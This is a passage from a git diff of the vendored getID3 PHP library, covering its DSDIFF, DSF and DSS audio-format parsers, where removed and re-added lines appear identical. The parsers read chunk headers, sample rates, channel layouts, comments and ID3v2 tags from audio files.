Edited Master ID chunk - if ($thisChunk['size']) { - $thisChunk['identifier'] = $this->fread($thisChunk['size']); - } - break; - - case 'ID3 ': - $endOfID3v2 = $this->ftell() + $datasize; // we will need to reset the filepointer after parsing ID3v2 - - getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true); - $getid3_temp = new getID3(); - $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); - $getid3_id3v2 = new getid3_id3v2($getid3_temp); - $getid3_id3v2->StartingOffset = $this->ftell(); - if ($thisChunk['valid'] = $getid3_id3v2->Analyze()) { - $info['id3v2'] = $getid3_temp->info['id3v2']; - } - unset($getid3_temp, $getid3_id3v2); - - $this->fseek($endOfID3v2); - break; - - case 'DSD ': // DSD sound data chunk - case 'DST ': // DST sound data chunk - // actual audio data, we're not interested, skip - $this->fseek($datasize, SEEK_CUR); - break; - default: - $this->warning('Unhandled chunk "'.$thisChunk['name'].'"'); - $this->fseek($datasize, SEEK_CUR); - break; - } - - @$info['dsdiff']['chunks'][] = $thisChunk; - //break; - } - if (empty($info['audio']['bitrate']) && !empty($info['audio']['channels']) && !empty($info['audio']['sample_rate']) && !empty($info['audio']['bits_per_sample'])) { - $info['audio']['bitrate'] = $info['audio']['bits_per_sample'] * $info['audio']['sample_rate'] * $info['audio']['channels']; - } - - return true; - } - - /** - * @param int $cmtType - * - * @return string - */ - public static function DSDIFFcmtType($cmtType) { - static $DSDIFFcmtType = array( - 0 => 'General (album) Comment', - 1 => 'Channel Comment', - 2 => 'Sound Source', - 3 => 'File History', - ); - return (isset($DSDIFFcmtType[$cmtType]) ? $DSDIFFcmtType[$cmtType] : 'reserved'); - } - - /** - * @param int $cmtType - * @param int $cmtRef - * - * @return string - */ - public static function DSDIFFcmtRef($cmtType, $cmtRef) { - static $DSDIFFcmtRef = array( - 2 => array( // Sound Source - 0 => 'DSD recording', - 1 => 'Analogue recording', - 2 => 'PCM recording', - ), - 3 => array( // File History - 0 => 'comment', // General Remark - 1 => 'encodeby', // Name of the operator - 2 => 'encoder', // Name or type of the creating machine - 3 => 'timezone', // Time zone information - 4 => 'revision', // Revision of the file - ), - ); - switch ($cmtType) { - case 0: - // If the comment type is General Comment the comment reference must be 0 - return ''; - case 1: - // If the comment type is Channel Comment, the comment reference defines the channel number to which the comment belongs - return ($cmtRef ? 'channel '.$cmtRef : 'all channels'); - case 2: - case 3: - return (isset($DSDIFFcmtRef[$cmtType][$cmtRef]) ? $DSDIFFcmtRef[$cmtType][$cmtRef] : 'reserved'); - } - return 'unsupported $cmtType='.$cmtType; - } - - /** - * @param int $markType - * - * @return string - */ - public static function DSDIFFmarkType($markType) { - static $DSDIFFmarkType = array( - 0 => 'TrackStart', // Entry point for a Track start - 1 => 'TrackStop', // Entry point for ending a Track - 2 => 'ProgramStart', // Start point of 2-channel or multi-channel area - 3 => 'Obsolete', // - 4 => 'Index', // Entry point of an Index - ); - return (isset($DSDIFFmarkType[$markType]) ? $DSDIFFmarkType[$markType] : 'reserved'); - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.dsdiff.php // +// module for analyzing Direct Stream Digital Interchange // +// File Format (DSDIFF) files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_dsdiff extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $this->fseek($info['avdataoffset']); + $DSDIFFheader = $this->fread(4); + + // https://dsd-guide.com/sites/default/files/white-papers/DSDIFF_1.5_Spec.pdf + if (substr($DSDIFFheader, 0, 4) != 'FRM8') { + $this->error('Expecting "FRM8" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes(substr($DSDIFFheader, 0, 4)).'"'); + return false; + } + unset($DSDIFFheader); + $this->fseek($info['avdataoffset']); + + $info['encoding'] = 'ISO-8859-1'; // not certain, but assumed + $info['fileformat'] = 'dsdiff'; + $info['mime_type'] = 'audio/dsd'; + $info['audio']['dataformat'] = 'dsdiff'; + $info['audio']['bitrate_mode'] = 'cbr'; + $info['audio']['bits_per_sample'] = 1; + + $info['dsdiff'] = array(); + $thisChunk = null; + while (!$this->feof() && ($ChunkHeader = $this->fread(12))) { + if (strlen($ChunkHeader) < 12) { + $this->error('Expecting chunk header at offset '.(isset($thisChunk['offset']) ? $thisChunk['offset'] : 'N/A').', found insufficient data in file, aborting parsing'); + break; + } + $thisChunk = array(); + $thisChunk['offset'] = $this->ftell() - 12; + $thisChunk['name'] = substr($ChunkHeader, 0, 4); + if (!preg_match('#^[\\x21-\\x7E]+ *$#', $thisChunk['name'])) { + // "a concatenation of four printable ASCII characters in the range ' ' (space, 0x20) through '~'(0x7E). Space (0x20) cannot precede printing characters; trailing spaces are allowed." + $this->error('Invalid chunk name "'.$thisChunk['name'].'" ('.getid3_lib::PrintHexBytes($thisChunk['name']).') at offset '.$thisChunk['offset'].', aborting parsing'); + } + $thisChunk['size'] = getid3_lib::BigEndian2Int(substr($ChunkHeader, 4, 8)); + $datasize = $thisChunk['size'] + ($thisChunk['size'] % 2); // "If the data is an odd number of bytes in length, a pad byte must be added at the end. The pad byte is not included in ckDataSize." + + switch ($thisChunk['name']) { + case 'FRM8': + $thisChunk['form_type'] = $this->fread(4); + if ($thisChunk['form_type'] != 'DSD ') { + $this->error('Expecting "DSD " at offset '.($this->ftell() - 4).', found "'.getid3_lib::PrintHexBytes($thisChunk['form_type']).'", aborting parsing'); + break 2; + } + // do nothing further, prevent skipping subchunks + break; + case 'PROP': // PROPerty chunk + $thisChunk['prop_type'] = $this->fread(4); + if ($thisChunk['prop_type'] != 'SND ') { + $this->error('Expecting "SND " at offset '.($this->ftell() - 4).', found "'.getid3_lib::PrintHexBytes($thisChunk['prop_type']).'", aborting parsing'); + break 2; + } + // do nothing further, prevent skipping subchunks + break; + case 'DIIN': // eDIted master INformation chunk + // do nothing, just prevent skipping subchunks + break; + + case 'FVER': // Format VERsion chunk + if ($thisChunk['size'] == 4) { + $FVER = $this->fread(4); + $info['dsdiff']['format_version'] = ord($FVER[0]).'.'.ord($FVER[1]).'.'.ord($FVER[2]).'.'.ord($FVER[3]); + unset($FVER); + } else { + $this->warning('Expecting "FVER" chunk to be 4 bytes, found '.$thisChunk['size'].' bytes, skipping chunk'); + $this->fseek($datasize, SEEK_CUR); + } + break; + case 'FS ': // sample rate chunk + if ($thisChunk['size'] == 4) { + $info['dsdiff']['sample_rate'] = getid3_lib::BigEndian2Int($this->fread(4)); + $info['audio']['sample_rate'] = $info['dsdiff']['sample_rate']; + } else { + $this->warning('Expecting "FVER" chunk to be 4 bytes, found '.$thisChunk['size'].' bytes, skipping chunk'); + $this->fseek($datasize, SEEK_CUR); + } + break; + case 'CHNL': // CHaNneLs chunk + $thisChunk['num_channels'] = getid3_lib::BigEndian2Int($this->fread(2)); + if ($thisChunk['num_channels'] == 0) { + $this->warning('channel count should be greater than zero, skipping chunk'); + $this->fseek($datasize - 2, SEEK_CUR); + } + for ($i = 0; $i < $thisChunk['num_channels']; $i++) { + $thisChunk['channels'][$i] = $this->fread(4); + } + $info['audio']['channels'] = $thisChunk['num_channels']; + break; + case 'CMPR': // CoMPRession type chunk + $thisChunk['compression_type'] = $this->fread(4); + $info['audio']['dataformat'] = trim($thisChunk['compression_type']); + $humanReadableByteLength = getid3_lib::BigEndian2Int($this->fread(1)); + $thisChunk['compression_name'] = $this->fread($humanReadableByteLength); + if (($humanReadableByteLength % 2) == 0) { + // need to seek to multiple of 2 bytes, human-readable string length is only one byte long so if the string is an even number of bytes we need to seek past a padding byte after the string + $this->fseek(1, SEEK_CUR); + } + unset($humanReadableByteLength); + break; + case 'ABSS': // ABSolute Start time chunk + $ABSS = $this->fread(8); + $info['dsdiff']['absolute_start_time']['hours'] = getid3_lib::BigEndian2Int(substr($ABSS, 0, 2)); + $info['dsdiff']['absolute_start_time']['minutes'] = getid3_lib::BigEndian2Int(substr($ABSS, 2, 1)); + $info['dsdiff']['absolute_start_time']['seconds'] = getid3_lib::BigEndian2Int(substr($ABSS, 3, 1)); + $info['dsdiff']['absolute_start_time']['samples'] = getid3_lib::BigEndian2Int(substr($ABSS, 4, 4)); + unset($ABSS); + break; + case 'LSCO': // LoudSpeaker COnfiguration chunk + // 0 = 2-channel stereo set-up + // 3 = 5-channel set-up according to ITU-R BS.775-1 [ITU] + // 4 = 6-channel set-up, 5-channel set-up according to ITU-R BS.775-1 [ITU], plus additional Low Frequency Enhancement (LFE) loudspeaker. Also known as "5.1 configuration" + // 65535 = Undefined channel set-up + $thisChunk['loundspeaker_config_id'] = getid3_lib::BigEndian2Int($this->fread(2)); + break; + case 'COMT': // COMmenTs chunk + $thisChunk['num_comments'] = getid3_lib::BigEndian2Int($this->fread(2)); + for ($i = 0; $i < $thisChunk['num_comments']; $i++) { + $thisComment = array(); + $COMT = $this->fread(14); + $thisComment['creation_year'] = getid3_lib::BigEndian2Int(substr($COMT, 0, 2)); + $thisComment['creation_month'] = getid3_lib::BigEndian2Int(substr($COMT, 2, 1)); + $thisComment['creation_day'] = getid3_lib::BigEndian2Int(substr($COMT, 3, 1)); + $thisComment['creation_hour'] = getid3_lib::BigEndian2Int(substr($COMT, 4, 1)); + $thisComment['creation_minute'] = getid3_lib::BigEndian2Int(substr($COMT, 5, 1)); + $thisComment['comment_type_id'] = getid3_lib::BigEndian2Int(substr($COMT, 6, 2)); + $thisComment['comment_ref_id'] = getid3_lib::BigEndian2Int(substr($COMT, 8, 2)); + $thisComment['string_length'] = getid3_lib::BigEndian2Int(substr($COMT, 10, 4)); + $thisComment['comment_text'] = $this->fread($thisComment['string_length']); + if ($thisComment['string_length'] % 2) { + // commentText[] is the description of the Comment. This text must be padded with a byte at the end, if needed, to make it an even number of bytes long. This pad byte, if present, is not included in count. + $this->fseek(1, SEEK_CUR); + } + $thisComment['comment_type'] = $this->DSDIFFcmtType($thisComment['comment_type_id']); + $thisComment['comment_reference'] = $this->DSDIFFcmtRef($thisComment['comment_type_id'], $thisComment['comment_ref_id']); + $thisComment['creation_unix'] = mktime($thisComment['creation_hour'], $thisComment['creation_minute'], 0, $thisComment['creation_month'], $thisComment['creation_day'], $thisComment['creation_year']); + $thisChunk['comments'][$i] = $thisComment; + + $commentkey = ($thisComment['comment_reference'] ?: 'comment'); + $info['dsdiff']['comments'][$commentkey][] = $thisComment['comment_text']; + unset($thisComment); + } + break; + case 'MARK': // MARKer chunk + $MARK = $this->fread(22); + $thisChunk['marker_hours'] = getid3_lib::BigEndian2Int(substr($MARK, 0, 2)); + $thisChunk['marker_minutes'] = getid3_lib::BigEndian2Int(substr($MARK, 2, 1)); + $thisChunk['marker_seconds'] = getid3_lib::BigEndian2Int(substr($MARK, 3, 1)); + $thisChunk['marker_samples'] = getid3_lib::BigEndian2Int(substr($MARK, 4, 4)); + $thisChunk['marker_offset'] = getid3_lib::BigEndian2Int(substr($MARK, 8, 4)); + $thisChunk['marker_type_id'] = getid3_lib::BigEndian2Int(substr($MARK, 12, 2)); + $thisChunk['marker_channel'] = getid3_lib::BigEndian2Int(substr($MARK, 14, 2)); + $thisChunk['marker_flagraw'] = getid3_lib::BigEndian2Int(substr($MARK, 16, 2)); + $thisChunk['string_length'] = getid3_lib::BigEndian2Int(substr($MARK, 18, 4)); + $thisChunk['description'] = ($thisChunk['string_length'] ? $this->fread($thisChunk['string_length']) : ''); + if ($thisChunk['string_length'] % 2) { + // markerText[] is the description of the marker. This text must be padded with a byte at the end, if needed, to make it an even number of bytes long. This pad byte, if present, is not included in count. + $this->fseek(1, SEEK_CUR); + } + $thisChunk['marker_type'] = $this->DSDIFFmarkType($thisChunk['marker_type_id']); + unset($MARK); + break; + case 'DIAR': // artist chunk + case 'DITI': // title chunk + $thisChunk['string_length'] = getid3_lib::BigEndian2Int($this->fread(4)); + $thisChunk['description'] = ($thisChunk['string_length'] ? $this->fread($thisChunk['string_length']) : ''); + if ($thisChunk['string_length'] % 2) { + // This text must be padded with a byte at the end, if needed, to make it an even number of bytes long. This pad byte, if present, is not included in count. + $this->fseek(1, SEEK_CUR); + } + + if ($commentkey = (($thisChunk['name'] == 'DIAR') ? 'artist' : (($thisChunk['name'] == 'DITI') ? 'title' : ''))) { + @$info['dsdiff']['comments'][$commentkey][] = $thisChunk['description']; + } + break; + case 'EMID': // Edited Master ID chunk + if ($thisChunk['size']) { + $thisChunk['identifier'] = $this->fread($thisChunk['size']); + } + break; + + case 'ID3 ': + $endOfID3v2 = $this->ftell() + $datasize; // we will need to reset the filepointer after parsing ID3v2 + + getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true); + $getid3_temp = new getID3(); + $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); + $getid3_id3v2 = new getid3_id3v2($getid3_temp); + $getid3_id3v2->StartingOffset = $this->ftell(); + if ($thisChunk['valid'] = $getid3_id3v2->Analyze()) { + $info['id3v2'] = $getid3_temp->info['id3v2']; + } + unset($getid3_temp, $getid3_id3v2); + + $this->fseek($endOfID3v2); + break; + + case 'DSD ': // DSD sound data chunk + case 'DST ': // DST sound data chunk + // actual audio data, we're not interested, skip + $this->fseek($datasize, SEEK_CUR); + break; + default: + $this->warning('Unhandled chunk "'.$thisChunk['name'].'"'); + $this->fseek($datasize, SEEK_CUR); + break; + } + + @$info['dsdiff']['chunks'][] = $thisChunk; + //break; + } + if (empty($info['audio']['bitrate']) && !empty($info['audio']['channels']) && !empty($info['audio']['sample_rate']) && !empty($info['audio']['bits_per_sample'])) { + $info['audio']['bitrate'] = $info['audio']['bits_per_sample'] * $info['audio']['sample_rate'] * $info['audio']['channels']; + } + + return true; + } + + /** + * @param int $cmtType + * + * @return string + */ + public static function DSDIFFcmtType($cmtType) { + static $DSDIFFcmtType = array( + 0 => 'General (album) Comment', + 1 => 'Channel Comment', + 2 => 'Sound Source', + 3 => 'File History', + ); + return (isset($DSDIFFcmtType[$cmtType]) ? $DSDIFFcmtType[$cmtType] : 'reserved'); + } + + /** + * @param int $cmtType + * @param int $cmtRef + * + * @return string + */ + public static function DSDIFFcmtRef($cmtType, $cmtRef) { + static $DSDIFFcmtRef = array( + 2 => array( // Sound Source + 0 => 'DSD recording', + 1 => 'Analogue recording', + 2 => 'PCM recording', + ), + 3 => array( // File History + 0 => 'comment', // General Remark + 1 => 'encodeby', // Name of the operator + 2 => 'encoder', // Name or type of the creating machine + 3 => 'timezone', // Time zone information + 4 => 'revision', // Revision of the file + ), + ); + switch ($cmtType) { + case 0: + // If the comment type is General Comment the comment reference must be 0 + return ''; + case 1: + // If the comment type is Channel Comment, the comment reference defines the channel number to which the comment belongs + return ($cmtRef ? 'channel '.$cmtRef : 'all channels'); + case 2: + case 3: + return (isset($DSDIFFcmtRef[$cmtType][$cmtRef]) ? $DSDIFFcmtRef[$cmtType][$cmtRef] : 'reserved'); + } + return 'unsupported $cmtType='.$cmtType; + } + + /** + * @param int $markType + * + * @return string + */ + public static function DSDIFFmarkType($markType) { + static $DSDIFFmarkType = array( + 0 => 'TrackStart', // Entry point for a Track start + 1 => 'TrackStop', // Entry point for ending a Track + 2 => 'ProgramStart', // Start point of 2-channel or multi-channel area + 3 => 'Obsolete', // + 4 => 'Index', // Entry point of an Index + ); + return (isset($DSDIFFmarkType[$markType]) ? $DSDIFFmarkType[$markType] : 'reserved'); + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio.dsf.php b/vendor/james-heinrich/getid3/getid3/module.audio.dsf.php index 732c7cd9c6..cd059c927b 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio.dsf.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio.dsf.php @@ -1,142 +1,142 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio.dsf.php // -// module for analyzing dsf/DSF Audio files // -// dependencies: module.tag.id3v2.php // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} -getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true); - -class getid3_dsf extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $info['fileformat'] = 'dsf'; - $info['audio']['dataformat'] = 'dsf'; - $info['audio']['lossless'] = true; - $info['audio']['bitrate_mode'] = 'cbr'; - - $this->fseek($info['avdataoffset']); - $dsfheader = $this->fread(28 + 12); - - $headeroffset = 0; - $info['dsf']['dsd']['magic'] = substr($dsfheader, $headeroffset, 4); - $headeroffset += 4; - $magic = 'DSD '; - if ($info['dsf']['dsd']['magic'] != $magic) { - $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($info['dsf']['dsd']['magic']).'"'); - unset($info['fileformat']); - unset($info['audio']); - unset($info['dsf']); - return false; - } - $info['dsf']['dsd']['dsd_chunk_size'] = getid3_lib::LittleEndian2Int(substr($dsfheader, $headeroffset, 8)); // should be 28 - $headeroffset += 8; - $info['dsf']['dsd']['dsf_file_size'] = getid3_lib::LittleEndian2Int(substr($dsfheader, $headeroffset, 8)); - $headeroffset += 8; - $info['dsf']['dsd']['meta_chunk_offset'] = getid3_lib::LittleEndian2Int(substr($dsfheader, $headeroffset, 8)); - $headeroffset += 8; - - - $info['dsf']['fmt']['magic'] = substr($dsfheader, $headeroffset, 4); - $headeroffset += 4; - $magic = 'fmt '; - if ($info['dsf']['fmt']['magic'] != $magic) { - $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$headeroffset.', found "'.getid3_lib::PrintHexBytes($info['dsf']['fmt']['magic']).'"'); - return false; - } - $info['dsf']['fmt']['fmt_chunk_size'] = getid3_lib::LittleEndian2Int(substr($dsfheader, $headeroffset, 8)); // usually 52 bytes - $headeroffset += 8; - $dsfheader .= $this->fread($info['dsf']['fmt']['fmt_chunk_size'] - 12 + 12); // we have already read the entire DSD chunk, plus 12 bytes of FMT. We now want to read the size of FMT, plus 12 bytes into the next chunk to get magic and size. - if (strlen($dsfheader) != ($info['dsf']['dsd']['dsd_chunk_size'] + $info['dsf']['fmt']['fmt_chunk_size'] + 12)) { - $this->error('Expecting '.($info['dsf']['dsd']['dsd_chunk_size'] + $info['dsf']['fmt']['fmt_chunk_size']).' bytes header, found '.strlen($dsfheader).' bytes'); - return false; - } - $info['dsf']['fmt']['format_version'] = getid3_lib::LittleEndian2Int(substr($dsfheader, $headeroffset, 4)); // usually "1" - $headeroffset += 4; - $info['dsf']['fmt']['format_id'] = getid3_lib::LittleEndian2Int(substr($dsfheader, $headeroffset, 4)); // usually "0" = "DSD Raw" - $headeroffset += 4; - $info['dsf']['fmt']['channel_type_id'] = getid3_lib::LittleEndian2Int(substr($dsfheader, $headeroffset, 4)); - $headeroffset += 4; - $info['dsf']['fmt']['channels'] = getid3_lib::LittleEndian2Int(substr($dsfheader, $headeroffset, 4)); - $headeroffset += 4; - $info['dsf']['fmt']['sample_rate'] = getid3_lib::LittleEndian2Int(substr($dsfheader, $headeroffset, 4)); - $headeroffset += 4; - $info['dsf']['fmt']['bits_per_sample'] = getid3_lib::LittleEndian2Int(substr($dsfheader, $headeroffset, 4)); - $headeroffset += 4; - $info['dsf']['fmt']['sample_count'] = getid3_lib::LittleEndian2Int(substr($dsfheader, $headeroffset, 8)); - $headeroffset += 8; - $info['dsf']['fmt']['channel_block_size'] = getid3_lib::LittleEndian2Int(substr($dsfheader, $headeroffset, 4)); - $headeroffset += 4; - $info['dsf']['fmt']['reserved'] = getid3_lib::LittleEndian2Int(substr($dsfheader, $headeroffset, 4)); // zero-filled - $headeroffset += 4; - - - $info['dsf']['data']['magic'] = substr($dsfheader, $headeroffset, 4); - $headeroffset += 4; - $magic = 'data'; - if ($info['dsf']['data']['magic'] != $magic) { - $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$headeroffset.', found "'.getid3_lib::PrintHexBytes($info['dsf']['data']['magic']).'"'); - return false; - } - $info['dsf']['data']['data_chunk_size'] = getid3_lib::LittleEndian2Int(substr($dsfheader, $headeroffset, 8)); - $headeroffset += 8; - $info['avdataoffset'] = $headeroffset; - $info['avdataend'] = $info['avdataoffset'] + $info['dsf']['data']['data_chunk_size']; - - - if ($info['dsf']['dsd']['meta_chunk_offset'] > 0) { - $getid3_id3v2 = new getid3_id3v2($this->getid3); - $getid3_id3v2->StartingOffset = $info['dsf']['dsd']['meta_chunk_offset']; - $getid3_id3v2->Analyze(); - unset($getid3_id3v2); - } - - - $info['dsf']['fmt']['channel_type'] = $this->DSFchannelTypeLookup($info['dsf']['fmt']['channel_type_id']); - $info['audio']['channelmode'] = $info['dsf']['fmt']['channel_type']; - $info['audio']['bits_per_sample'] = $info['dsf']['fmt']['bits_per_sample']; - $info['audio']['sample_rate'] = $info['dsf']['fmt']['sample_rate']; - $info['audio']['channels'] = $info['dsf']['fmt']['channels']; - $info['audio']['bitrate'] = $info['audio']['bits_per_sample'] * $info['audio']['sample_rate'] * $info['audio']['channels']; - $info['playtime_seconds'] = ($info['dsf']['data']['data_chunk_size'] * 8) / $info['audio']['bitrate']; - - return true; - } - - /** - * @param int $channel_type_id - * - * @return string - */ - public static function DSFchannelTypeLookup($channel_type_id) { - static $DSFchannelTypeLookup = array( - // interleaving order: - 1 => 'mono', // 1: Mono - 2 => 'stereo', // 1: Front-Left; 2: Front-Right - 3 => '3-channel', // 1: Front-Left; 2: Front-Right; 3: Center - 4 => 'quad', // 1: Front-Left; 2: Front-Right; 3: Back-Left; 4: Back-Right - 5 => '4-channel', // 1: Front-Left; 2: Front-Right; 3: Center; 4: Low-Frequency - 6 => '5-channel', // 1: Front-Left; 2: Front-Right; 3: Center; 4: Back-Left 5: Back-Right - 7 => '5.1', // 1: Front-Left; 2: Front-Right; 3: Center; 4: Low-Frequency; 5: Back-Left; 6: Back-Right - ); - return (isset($DSFchannelTypeLookup[$channel_type_id]) ? $DSFchannelTypeLookup[$channel_type_id] : ''); - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.dsf.php // +// module for analyzing dsf/DSF Audio files // +// dependencies: module.tag.id3v2.php // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} +getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true); + +class getid3_dsf extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $info['fileformat'] = 'dsf'; + $info['audio']['dataformat'] = 'dsf'; + $info['audio']['lossless'] = true; + $info['audio']['bitrate_mode'] = 'cbr'; + + $this->fseek($info['avdataoffset']); + $dsfheader = $this->fread(28 + 12); + + $headeroffset = 0; + $info['dsf']['dsd']['magic'] = substr($dsfheader, $headeroffset, 4); + $headeroffset += 4; + $magic = 'DSD '; + if ($info['dsf']['dsd']['magic'] != $magic) { + $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($info['dsf']['dsd']['magic']).'"'); + unset($info['fileformat']); + unset($info['audio']); + unset($info['dsf']); + return false; + } + $info['dsf']['dsd']['dsd_chunk_size'] = getid3_lib::LittleEndian2Int(substr($dsfheader, $headeroffset, 8)); // should be 28 + $headeroffset += 8; + $info['dsf']['dsd']['dsf_file_size'] = getid3_lib::LittleEndian2Int(substr($dsfheader, $headeroffset, 8)); + $headeroffset += 8; + $info['dsf']['dsd']['meta_chunk_offset'] = getid3_lib::LittleEndian2Int(substr($dsfheader, $headeroffset, 8)); + $headeroffset += 8; + + + $info['dsf']['fmt']['magic'] = substr($dsfheader, $headeroffset, 4); + $headeroffset += 4; + $magic = 'fmt '; + if ($info['dsf']['fmt']['magic'] != $magic) { + $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$headeroffset.', found "'.getid3_lib::PrintHexBytes($info['dsf']['fmt']['magic']).'"'); + return false; + } + $info['dsf']['fmt']['fmt_chunk_size'] = getid3_lib::LittleEndian2Int(substr($dsfheader, $headeroffset, 8)); // usually 52 bytes + $headeroffset += 8; + $dsfheader .= $this->fread($info['dsf']['fmt']['fmt_chunk_size'] - 12 + 12); // we have already read the entire DSD chunk, plus 12 bytes of FMT. We now want to read the size of FMT, plus 12 bytes into the next chunk to get magic and size. + if (strlen($dsfheader) != ($info['dsf']['dsd']['dsd_chunk_size'] + $info['dsf']['fmt']['fmt_chunk_size'] + 12)) { + $this->error('Expecting '.($info['dsf']['dsd']['dsd_chunk_size'] + $info['dsf']['fmt']['fmt_chunk_size']).' bytes header, found '.strlen($dsfheader).' bytes'); + return false; + } + $info['dsf']['fmt']['format_version'] = getid3_lib::LittleEndian2Int(substr($dsfheader, $headeroffset, 4)); // usually "1" + $headeroffset += 4; + $info['dsf']['fmt']['format_id'] = getid3_lib::LittleEndian2Int(substr($dsfheader, $headeroffset, 4)); // usually "0" = "DSD Raw" + $headeroffset += 4; + $info['dsf']['fmt']['channel_type_id'] = getid3_lib::LittleEndian2Int(substr($dsfheader, $headeroffset, 4)); + $headeroffset += 4; + $info['dsf']['fmt']['channels'] = getid3_lib::LittleEndian2Int(substr($dsfheader, $headeroffset, 4)); + $headeroffset += 4; + $info['dsf']['fmt']['sample_rate'] = getid3_lib::LittleEndian2Int(substr($dsfheader, $headeroffset, 4)); + $headeroffset += 4; + $info['dsf']['fmt']['bits_per_sample'] = getid3_lib::LittleEndian2Int(substr($dsfheader, $headeroffset, 4)); + $headeroffset += 4; + $info['dsf']['fmt']['sample_count'] = getid3_lib::LittleEndian2Int(substr($dsfheader, $headeroffset, 8)); + $headeroffset += 8; + $info['dsf']['fmt']['channel_block_size'] = getid3_lib::LittleEndian2Int(substr($dsfheader, $headeroffset, 4)); + $headeroffset += 4; + $info['dsf']['fmt']['reserved'] = getid3_lib::LittleEndian2Int(substr($dsfheader, $headeroffset, 4)); // zero-filled + $headeroffset += 4; + + + $info['dsf']['data']['magic'] = substr($dsfheader, $headeroffset, 4); + $headeroffset += 4; + $magic = 'data'; + if ($info['dsf']['data']['magic'] != $magic) { + $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$headeroffset.', found "'.getid3_lib::PrintHexBytes($info['dsf']['data']['magic']).'"'); + return false; + } + $info['dsf']['data']['data_chunk_size'] = getid3_lib::LittleEndian2Int(substr($dsfheader, $headeroffset, 8)); + $headeroffset += 8; + $info['avdataoffset'] = $headeroffset; + $info['avdataend'] = $info['avdataoffset'] + $info['dsf']['data']['data_chunk_size']; + + + if ($info['dsf']['dsd']['meta_chunk_offset'] > 0) { + $getid3_id3v2 = new getid3_id3v2($this->getid3); + $getid3_id3v2->StartingOffset = $info['dsf']['dsd']['meta_chunk_offset']; + $getid3_id3v2->Analyze(); + unset($getid3_id3v2); + } + + + $info['dsf']['fmt']['channel_type'] = $this->DSFchannelTypeLookup($info['dsf']['fmt']['channel_type_id']); + $info['audio']['channelmode'] = $info['dsf']['fmt']['channel_type']; + $info['audio']['bits_per_sample'] = $info['dsf']['fmt']['bits_per_sample']; + $info['audio']['sample_rate'] = $info['dsf']['fmt']['sample_rate']; + $info['audio']['channels'] = $info['dsf']['fmt']['channels']; + $info['audio']['bitrate'] = $info['audio']['bits_per_sample'] * $info['audio']['sample_rate'] * $info['audio']['channels']; + $info['playtime_seconds'] = ($info['dsf']['data']['data_chunk_size'] * 8) / $info['audio']['bitrate']; + + return true; + } + + /** + * @param int $channel_type_id + * + * @return string + */ + public static function DSFchannelTypeLookup($channel_type_id) { + static $DSFchannelTypeLookup = array( + // interleaving order: + 1 => 'mono', // 1: Mono + 2 => 'stereo', // 1: Front-Left; 2: Front-Right + 3 => '3-channel', // 1: Front-Left; 2: Front-Right; 3: Center + 4 => 'quad', // 1: Front-Left; 2: Front-Right; 3: Back-Left; 4: Back-Right + 5 => '4-channel', // 1: Front-Left; 2: Front-Right; 3: Center; 4: Low-Frequency + 6 => '5-channel', // 1: Front-Left; 2: Front-Right; 3: Center; 4: Back-Left 5: Back-Right + 7 => '5.1', // 1: Front-Left; 2: Front-Right; 3: Center; 4: Low-Frequency; 5: Back-Left; 6: Back-Right + ); + return (isset($DSFchannelTypeLookup[$channel_type_id]) ? $DSFchannelTypeLookup[$channel_type_id] : ''); + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio.dss.php b/vendor/james-heinrich/getid3/getid3/module.audio.dss.php index 4e6c53f43b..dd2a56b133 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio.dss.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio.dss.php @@ -1,114 +1,114 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio.dss.php // -// module for analyzing Digital Speech Standard (DSS) files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class 